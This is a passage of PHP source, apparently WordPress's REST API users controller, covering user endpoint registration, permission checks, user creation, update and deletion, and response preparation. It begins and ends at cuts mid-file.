'permission_callback' => array( $this, 'create_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\d]+)',
array(
'args' => array(
'id' => array(
'description' => __( 'Unique identifier for the user.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as users do not support trashing.' ),
),
'reassign' => array(
'type' => 'integer',
'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
'required' => true,
'sanitize_callback' => array( $this, 'check_reassign' ),
),
),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/me',
array(
array(
'methods' => WP_REST_Server::READABLE,
'permission_callback' => '__return_true',
'callback' => array( $this, 'get_current_item' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_current_item' ),
'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_current_item' ),
'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as users do not support trashing.' ),
),
'reassign' => array(
'type' => 'integer',
'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
'required' => true,
'sanitize_callback' => array( $this, 'check_reassign' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks for a valid value for the reassign parameter when deleting users.
*
* The value can be an integer, 'false', false, or ''.
*
* @since 4.7.0
*
* @param int|bool $value The value passed to the reassign parameter.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter that is being sanitized.
* @return int|bool|WP_Error
*/
public function check_reassign( $value, $request, $param ) {
if ( is_numeric( $value ) ) {
return $value;
}
if ( empty( $value ) || false === $value || 'false' === $value ) {
return false;
}
return new WP_Error(
'rest_invalid_param',
__( 'Invalid user parameter(s).' ),
array( 'status' => 400 )
);
}
/**
* Permissions check for getting all users.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
// Check if roles is specified in GET request and if user can list users.
if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to filter users by role.' ),
array( 'status' => rest_authorization_required_code() )
);
}
// Check if capabilities is specified in GET request and if user can list users.
if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to filter users by capability.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_forbidden_orderby',
__( 'Sorry, you are not allowed to order users by this parameter.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'authors' === $request['who'] ) {
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( post_type_supports( $type->name, 'author' )
&& current_user_can( $type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_forbidden_who',
__( 'Sorry, you are not allowed to query users by this parameter.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves all users.
*
* @since 4.7.0
* @since 6.8.0 Added support for the search_columns query param.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
// Retrieve the list of registered collection query parameters.
$registered = $this->get_collection_params();
/*
* This array defines mappings between public API query parameters whose
* values are accepted as-passed, and their internal WP_Query parameter
* name equivalents (some are the same). Only values which are also
* present in $registered will be set.
*/
$parameter_mappings = array(
'exclude' => 'exclude',
'include' => 'include',
'order' => 'order',
'per_page' => 'number',
'search' => 'search',
'roles' => 'role__in',
'capabilities' => 'capability__in',
'slug' => 'nicename__in',
);
$prepared_args = array();
/*
* For each known parameter which is both registered and present in the request,
* set the parameter's value on the query $prepared_args.
*/
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$prepared_args[ $wp_param ] = $request[ $api_param ];
}
}
if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
$prepared_args['offset'] = $request['offset'];
} else {
$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
}
if ( isset( $registered['orderby'] ) ) {
$orderby_possibles = array(
'id' => 'ID',
'include' => 'include',
'name' => 'display_name',
'registered_date' => 'registered',
'slug' => 'user_nicename',
'include_slugs' => 'nicename__in',
'email' => 'user_email',
'url' => 'user_url',
);
$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
}
if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
$prepared_args['who'] = 'authors';
} elseif ( ! current_user_can( 'list_users' ) ) {
$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
}
if ( ! empty( $request['has_published_posts'] ) ) {
$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
? get_post_types( array( 'show_in_rest' => true ), 'names' )
: (array) $request['has_published_posts'];
}
if ( ! empty( $prepared_args['search'] ) ) {
if ( ! current_user_can( 'list_users' ) ) {
$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
}
$search_columns = $request->get_param( 'search_columns' );
$valid_columns = $prepared_args['search_columns'] ?? array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' );
$search_columns_mapping = array(
'id' => 'ID',
'username' => 'user_login',
'slug' => 'user_nicename',
'email' => 'user_email',
'name' => 'display_name',
);
$search_columns = array_map(
static function ( $column ) use ( $search_columns_mapping ) {
return $search_columns_mapping[ $column ];
},
$search_columns
);
$search_columns = array_intersect( $search_columns, $valid_columns );
if ( ! empty( $search_columns ) ) {
$prepared_args['search_columns'] = $search_columns;
}
$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
}
$is_head_request = $request->is_method( 'HEAD' );
if ( $is_head_request ) {
// Force the 'fields' argument. For HEAD requests, only user IDs are required.
$prepared_args['fields'] = 'id';
}
/**
* Filters WP_User_Query arguments when querying users via the REST API.
*
* @link https://developer.wordpress.org/reference/classes/wp_user_query/
*
* @since 4.7.0
*
* @param array $prepared_args Array of arguments for WP_User_Query.
* @param WP_REST_Request $request The REST API request.
*/
$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );
$query = new WP_User_Query( $prepared_args );
if ( ! $is_head_request ) {
$users = array();
foreach ( $query->get_results() as $user ) {
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
continue;
}
$data = $this->prepare_item_for_response( $user, $request );
$users[] = $this->prepare_response_for_collection( $data );
}
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users );
// Store pagination values for headers then unset for count query.
$per_page = (int) $prepared_args['number'];
$page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );
$prepared_args['fields'] = 'ID';
$total_users = $query->get_total();
if ( $total_users < 1 ) {
// Out-of-bounds, run the query without pagination/offset to get the total count.
unset( $prepared_args['number'], $prepared_args['offset'] );
$prepared_args['number'] = 1;
$prepared_args['fields'] = 'ID';
$count_query = new WP_User_Query( $prepared_args );
$total_users = $count_query->get_total();
}
$response->header( 'X-WP-Total', (int) $total_users );
$max_pages = (int) ceil( $total_users / $per_page );
$response->header( 'X-WP-TotalPages', $max_pages );
$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Get the user, if the ID is valid.
*
* @since 4.7.2
*
* @param int $id Supplied ID.
* @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
*/
protected function get_user( $id ) {
$error = new WP_Error(
'rest_user_invalid_id',
__( 'Invalid user ID.' ),
array( 'status' => 404 )
);
if ( (int) $id <= 0 ) {
return $error;
}
$user = get_userdata( (int) $id );
if ( empty( $user ) || ! $user->exists() ) {
return $error;
}
if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
return $error;
}
return $user;
}
/**
* Checks if a given request has access to read a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
*/
public function get_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$types = get_post_types( array( 'show_in_rest' => true ), 'names' );
if ( get_current_user_id() === $user->ID ) {
return true;
}
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to list users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$user = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $user );
return $response;
}
/**
* Retrieves the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_current_item( $request ) {
$current_user_id = get_current_user_id();
if ( empty( $current_user_id ) ) {
return new WP_Error(
'rest_not_logged_in',
__( 'You are not currently logged in.' ),
array( 'status' => 401 )
);
}
$user = wp_get_current_user();
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
return $response;
}
/**
* Checks if a given request has access create users.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
*/
public function create_item_permissions_check( $request ) {
if ( ! current_user_can( 'create_users' ) ) {
return new WP_Error(
'rest_cannot_create_user',
__( 'Sorry, you are not allowed to create new users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Creates a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function create_item( $request ) {
if ( ! empty( $request['id'] ) ) {
return new WP_Error(
'rest_user_exists',
__( 'Cannot create existing user.' ),
array( 'status' => 400 )
);
}
$schema = $this->get_item_schema();
if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
$check_permission = $this->check_role_update( $request['id'], $request['roles'] );
if ( is_wp_error( $check_permission ) ) {
return $check_permission;
}
}
$user = $this->prepare_item_for_database( $request );
if ( is_multisite() ) {
$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );
if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
$error = new WP_Error(
'rest_invalid_param',
__( 'Invalid user parameter(s).' ),
array( 'status' => 400 )
);
foreach ( $ret['errors']->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$error->add( $code, $message );
}
$error_data = $error->get_error_data( $code );
if ( $error_data ) {
$error->add_data( $error_data, $code );
}
}
return $error;
}
}
if ( is_multisite() ) {
$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );
if ( ! $user_id ) {
return new WP_Error(
'rest_user_create',
__( 'Error creating new user.' ),
array( 'status' => 500 )
);
}
$user->ID = $user_id;
$user_id = wp_update_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
$result = add_user_to_blog( get_site()->id, $user_id, '' );
if ( is_wp_error( $result ) ) {
return $result;
}
} else {
$user_id = wp_insert_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
}
$user = get_user_by( 'id', $user_id );
/**
* Fires immediately after a user is created or updated via the REST API.
*
* @since 4.7.0
*
* @param WP_User $user Inserted or updated user object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a user, false when updating.
*/
do_action( 'rest_insert_user', $user, $request, true );
if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
array_map( array( $user, 'add_role' ), $request['roles'] );
}
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $user_id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$user = get_user_by( 'id', $user_id );
$fields_update = $this->update_additional_fields_for_object( $user, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/**
* Fires after a user is completely created or updated via the REST API.
*
* @since 5.0.0
*
* @param WP_User $user Inserted or updated user object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a user, false when updating.
*/
do_action( 'rest_after_insert_user', $user, $request, true );
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
$response->set_status( 201 );
$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );
return $response;
}
/**
* Checks if a given request has access to update a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
if ( ! empty( $request['roles'] ) ) {
if ( ! current_user_can( 'promote_user', $user->ID ) ) {
return new WP_Error(
'rest_cannot_edit_roles',
__( 'Sorry, you are not allowed to edit roles of this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$request_params = array_keys( $request->get_params() );
sort( $request_params );
/*
* If only 'id' and 'roles' are specified (we are only trying to
* edit roles), then only the 'promote_user' cap is required.
*/
if ( array( 'id', 'roles' ) === $request_params ) {
return true;
}
}
if ( ! current_user_can( 'edit_user', $user->ID ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Updates a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$id = $user->ID;
$owner_id = false;
if ( is_string( $request['email'] ) ) {
$owner_id = email_exists( $request['email'] );
}
if ( $owner_id && $owner_id !== $id ) {
return new WP_Error(
'rest_user_invalid_email',
__( 'Invalid email address.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
return new WP_Error(
'rest_user_invalid_argument',
__( 'Username is not editable.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
return new WP_Error(
'rest_user_invalid_slug',
__( 'Invalid slug.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['roles'] ) ) {
$check_permission = $this->check_role_update( $id, $request['roles'] );
if ( is_wp_error( $check_permission ) ) {
return $check_permission;
}
}
$user = $this->prepare_item_for_database( $request );
// Ensure we're operating on the same user we already checked.
$user->ID = $id;
$user_id = wp_update_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
$user = get_user_by( 'id', $user_id );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
do_action( 'rest_insert_user', $user, $request, false );
if ( ! empty( $request['roles'] ) ) {
array_map( array( $user, 'add_role' ), $request['roles'] );
}
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$user = get_user_by( 'id', $user_id );
$fields_update = $this->update_additional_fields_for_object( $user, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
do_action( 'rest_after_insert_user', $user, $request, false );
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
return $response;
}
/**
* Checks if a given request has access to update the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_current_item_permissions_check( $request ) {
$request['id'] = get_current_user_id();
return $this->update_item_permissions_check( $request );
}
/**
* Updates the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_current_item( $request ) {
$request['id'] = get_current_user_id();
return $this->update_item( $request );
}
/**
* Checks if a given request has access delete a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
if ( ! current_user_can( 'delete_user', $user->ID ) ) {
return new WP_Error(
'rest_user_cannot_delete',
__( 'Sorry, you are not allowed to delete this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Deletes a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
// We don't support delete requests in multisite.
if ( is_multisite() ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The user cannot be deleted.' ),
array( 'status' => 501 )
);
}
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$id = $user->ID;
$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
// We don't support trashing for users.
if ( ! $force ) {
return new WP_Error(
'rest_trash_not_supported',
/* translators: %s: force=true */
sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
array( 'status' => 501 )
);
}
if ( ! empty( $reassign ) ) {
if ( $reassign === $id || ! get_userdata( $reassign ) ) {
return new WP_Error(
'rest_user_invalid_reassign',
__( 'Invalid user ID for reassignment.' ),
array( 'status' => 400 )
);
}
}
$request->set_param( 'context', 'edit' );
$previous = $this->prepare_item_for_response( $user, $request );
// Include user admin functions to get access to wp_delete_user().
require_once ABSPATH . 'wp-admin/includes/user.php';
$result = wp_delete_user( $id, $reassign );
if ( ! $result ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The user cannot be deleted.' ),
array( 'status' => 500 )
);
}
$response = new WP_REST_Response();
$response->set_data(
array(
'deleted' => true,
'previous' => $previous->get_data(),
)
);
/**
* Fires immediately after a user is deleted via the REST API.
*
* @since 4.7.0
*
* @param WP_User $user The user data.
* @param WP_REST_Response $response The response returned from the API.
* @param WP_REST_Request $request The request sent to the API.
*/
do_action( 'rest_delete_user', $user, $response, $request );
return $response;
}
/**
* Checks if a given request has access to delete the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_current_item_permissions_check( $request ) {
$request['id'] = get_current_user_id();
return $this->delete_item_permissions_check( $request );
}
/**
* Deletes the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_current_item( $request ) {
$request['id'] = get_current_user_id();
return $this->delete_item( $request );
}
/**
* Prepares a single user output for response.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_User $item User object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$user = $item;
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request );
}
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( in_array( 'id', $fields, true ) ) {
$data['id'] = $user->ID;
}
if ( in_array( 'username', $fields, true ) ) {
$data['username'] = $user->user_login;
}
if ( in_array( 'name', $fields, true ) ) {
$data['name'] = $user->display_name;
}
if ( in_array( 'first_name', $fields, true ) ) {
$data['first_name'] = $user->first_name;
}
if ( in_array( 'last_name', $fields, true ) ) {
$data['last_name'] = $user->last_name;
}
if ( in_array( 'email', $fields, true ) ) {
$data['email'] = $user->user_email;
}
if ( in_array( 'url', $fields, true ) ) {
$data['url'] = $user->user_url;
}
if ( in_array( 'description', $fields, true ) ) {
$data['description'] = $user->description;
}
if ( in_array( 'link', $fields, true ) ) {
$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
}
if ( in_array( 'locale', $fields, true ) ) {
$data['locale'] = get_user_locale( $user );
}
if ( in_array( 'nickname', $fields, true ) ) {
$data['nickname'] = $user->nickname;
}
if ( in_array( 'slug', $fields, true ) ) {
$data['slug'] = $user->user_nicename;
}
if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
// Defensively call array_values() to ensure an array is returned.
$data['roles'] = array_values( $user->roles );
}
if ( in_array( 'registered_date', $fields, true ) ) {
$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
}
if ( in_array( 'capabilities', $fields, true ) ) {
$data['capabilities'] = (object) $user->allcaps;
}
if ( in_array( 'extra_capabilities', $fields, true ) ) {
$data['extra_capabilities'] = (object) $user->caps;
}
if ( in_array( 'avatar_urls', $fields, true ) ) {
$data['avatar_urls'] = rest_get_avatar_urls( $user );
}
if ( in_array( 'meta', $fields, true ) ) {
$data['meta'] = $this->meta->get_value( $user->ID, $request );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $user ) );
}
/**
* Filters user data returned from the REST API.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_User $user User object used to create response.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( 'rest_prepare_user', $response, $user, $request );
}
/**
* Prepares links for the user request.
*
* @since 4.7.0
*
* @param WP_User $user User object.
* @return array Links for the given user.
*/
protected function prepare_links( $user ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
return $links;
}
/**
* Prepares a single user for creation or update.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Request object.
* @return object User object.
*/
protected function prepare_item_for_database( $request ) {
$prepared_user = new stdClass();
$schema = $this->get_item_schema();
// Required arguments.
if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
$prepared_user->user_email = $request['email'];
}
if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
$prepared_user->user_login = $request['username'];
}
if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
$prepared_user->user_pass = $request['password'];
}
// Optional arguments.
if ( isset( $request['id'] ) ) {
$prepared_user->ID = absint( $request['id'] );
}
if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
$prepared_user->display_name = $request['name'];
}
if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
$prepared_user->first_name = $request['first_name'];
}
if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
$prepared_user->last_name = $request['last_name'];
}
if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
$prepared_user->nickname = $request['nickname'];
}
if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
$prepared_user->user_nicename = $request['slug'];
}
if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
$prepared_user->description = $request['description'];
}
if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
$prepared_user->user_url = $request['url'];
}
if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
$prepared_user->locale = $request['locale'];
}
// Setting roles will be handled outside of this function.
if ( isset( $request['roles'] ) ) {
$prepared_user->role = false;
}
/**
* Filters user data before insertion via the REST API.
*
* @since 4.7.0
*
* @param object $prepared_user User object.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
}
/**
* Determines if the current user is allowed to make the desired roles change.
*
* @since 4.7.0
*
* @global WP_Roles $wp_roles WordPress role management object.
*
* @param int $user_id User ID.
* @param array $roles New user roles.
* @return true|WP_Error True if the current user is allowed to make the role change,
* otherwise a WP_Error object.
*/
protected function check_role_update( $user_id, $roles ) {
global $wp_roles;
foreach ( $roles as $role ) {
if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
return new WP_Error(
'rest_user_invalid_role',
/* translators: %s: Role key. */
sprintf( __( 'The role %s does not exist.' ), $role ),
array( 'status' => 400 )
);
}
$potential_role = $wp_roles->role_objects[ $role ];
/*
* Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
* Multisite super admins can freely edit their blog roles -- they possess all caps.
*/
if ( ! ( is_multisite()
&& current_user_can( 'manage_sites' ) )
&& get_current_user_id() === $user_id
&& ! $potential_role->has_cap( 'edit_users' )
) {
return new WP_Error(
'rest_user_invalid_role',
__( 'Sorry, you are not allowed to give users that role.' ),
array( 'status' => rest_authorization_required_code() )
);
}
// Include user admin functions to get access to get_editable_roles().
require_once ABSPATH . 'wp-admin/includes/user.php';
// The new role must be editable by the logged-in user.
$editable_roles = get_editable_roles();
if ( empty( $editable_roles[ $role ] ) ) {
return new WP_Error(
'rest_user_invalid_role',
__( 'Sorry, you are not allowed to give users that role.' ),
array( 'status' => 403 )
);
}
}
return true;
}
/**
* Check a username for the REST API.
*
* Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
*
* @since 4.7.0
*
* @param string $value The username submitted in the request.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return string|WP_Error The sanitized username, if valid, otherwise an error.
*/
public function check_username( $value, $request, $param ) {
$username = (string) $value;
if ( ! validate_username( $username ) ) {
return new WP_Error(
'rest_user_invalid_username',
__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
array( 'status' => 400 )
);
}
/** This filter is documented in wp-includes/user.php */
$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
return new WP_Error(
'rest_user_invalid_username',
__( 'Sorry, that username is not allowed.' ),
array( 'status' => 400 )
);
}
return $username;
}
/**
* Check a user password for the REST API.
*
* Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
*
* @since 4.7.0
*
* @param string $value The password submitted in the request.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return string|WP_Error The sanitized password, if valid, otherwise an error.
*/
public function check_user_password(
#[\SensitiveParameter]
$value,
$request,
$param
) {
$password = (string) $value;
if ( empty( $password ) ) {
return new WP_Error(
'rest_user_invalid_password',
__( 'Passwords cannot be empty.' ),
array( 'status' => 400 )
);
}
if ( str_contains( $password, '\\' ) ) {
return new WP_Error(
'rest_user_invalid_password',
sprintf(
/* translators: %s: The '\' character. */
